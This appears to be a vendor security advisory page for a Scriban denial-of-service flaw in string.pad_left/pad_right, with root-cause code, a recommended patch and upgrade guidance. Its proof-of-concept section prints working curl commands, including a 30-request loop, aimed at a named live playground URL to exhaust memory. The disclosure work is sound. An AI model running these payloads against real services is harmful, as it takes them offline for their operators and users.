GHSA-v66j-x4hw-fv9g — Scriban
HIGHGHSA-v66j-x4hw-fv9g is a high-severity (CVSS 7.5) CWE-770 vulnerability in Scriban. A fix is available for Scriban — see the affected versions and patch details below.
Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-v66j-x4hw-fv9g.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-v66j-x4hw-fv9g plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
Scriban.NETScriban.SignedReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The built-in string.pad_left and string.pad_right template functions in Scriban perform no validation on the width parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via OutOfMemoryException.
Details
StringFunctions.PadLeft and StringFunctions.PadRight (src/Scriban/Functions/StringFunctions.cs:1181-1203) directly delegate to .NET's String.PadLeft(int) / String.PadRight(int) with no bounds checking:
// src/Scriban/Functions/StringFunctions.cs:1181-1183
public static string PadLeft(string text, int width)
{
return (text ?? string.Empty).PadLeft(width);
}
// src/Scriban/Functions/StringFunctions.cs:1200-1202
public static string PadRight(string text, int width)
{
return (text ?? string.Empty).PadRight(width);
}
The TemplateContext.LimitToString property (default 1MB, set at TemplateContext.cs:147) does not prevent the allocation. This limit is only checked during ObjectToString() conversion (TemplateContext.Helpers.cs:101-103), which runs after the string has been fully allocated by PadLeft/PadRight. The dangerous allocation is the return value of a built-in function — it occurs before output rendering.
The Scriban.AppService playground (src/Scriban.AppService/Program.cs:63-140) exposes POST /api/render with:
- No authentication
- Template size limit of 1KB (line 71) — the payload fits in 39 bytes
- A 2-second timeout via
CancellationTokenSource(line 118) — but this only cancels theawait Task.Run(...), not the runningtemplate.Render()call (line 122). The BCLPadLeftallocation completes atomically before the cancellation can take effect. - Rate limiting of 30 requests/minute (line 25)
PoC
Single request to crash or degrade the AppService:
curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}'
This 39-byte template causes PadLeft(500000000) to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).
Expected result: The service returns an error or truncated output safely.
Actual result: The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws OutOfMemoryException crashing the process.
Sustained attack with rate limiting:
# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure
for i in $(seq 1 30); do
curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' &
done
wait
The string.pad_right variant works identically:
curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}'
Impact
- Remote denial of service against any application that renders untrusted Scriban templates, including the official Scriban playground at
scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net. - An unauthenticated attacker can crash the hosting process via
OutOfMemoryExceptionwith a single HTTP request. - With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.
- The existing
LimitToStringand timeout mitigations do not prevent the intermediate memory allocation.
Recommended Fix
Add width validation in StringFunctions.PadLeft and StringFunctions.PadRight to cap the maximum allocation. A reasonable upper bound is the LimitToString value from the TemplateContext, or a fixed maximum if the context is not available:
// src/Scriban/Functions/StringFunctions.cs
// Option 1: Fixed reasonable maximum (simplest fix)
public static string PadLeft(string text, int width)
{
if (width < 0) width = 0;
if (width > 1_048_576) width = 1_048_576; // 1MB cap
return (text ?? string.Empty).PadLeft(width);
}
public static string PadRight(string text, int width)
{
if (width < 0) width = 0;
if (width > 1_048_576) width = 1_048_576; // 1MB cap
return (text ?? string.Empty).PadRight(width);
}
Alternatively, make the functions context-aware and use LimitToString as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| .NETNuGet | Scriban | all versions | 7.0.0dotnet add package Scriban --version 7.0.0 |
| .NETNuGet | Scriban.Signed | all versions | 7.0.0dotnet add package Scriban.Signed --version 7.0.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Scriban, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update Scriban to 7.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v66j-x4hw-fv9g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-v66j-x4hw-fv9g can be triaged on real exposure rather than presence alone.
Tailored to GHSA-v66j-x4hw-fv9g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v66j-x4hw-fv9g in your dependencies?
O3 Security finds GHSA-v66j-x4hw-fv9g across NuGet dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.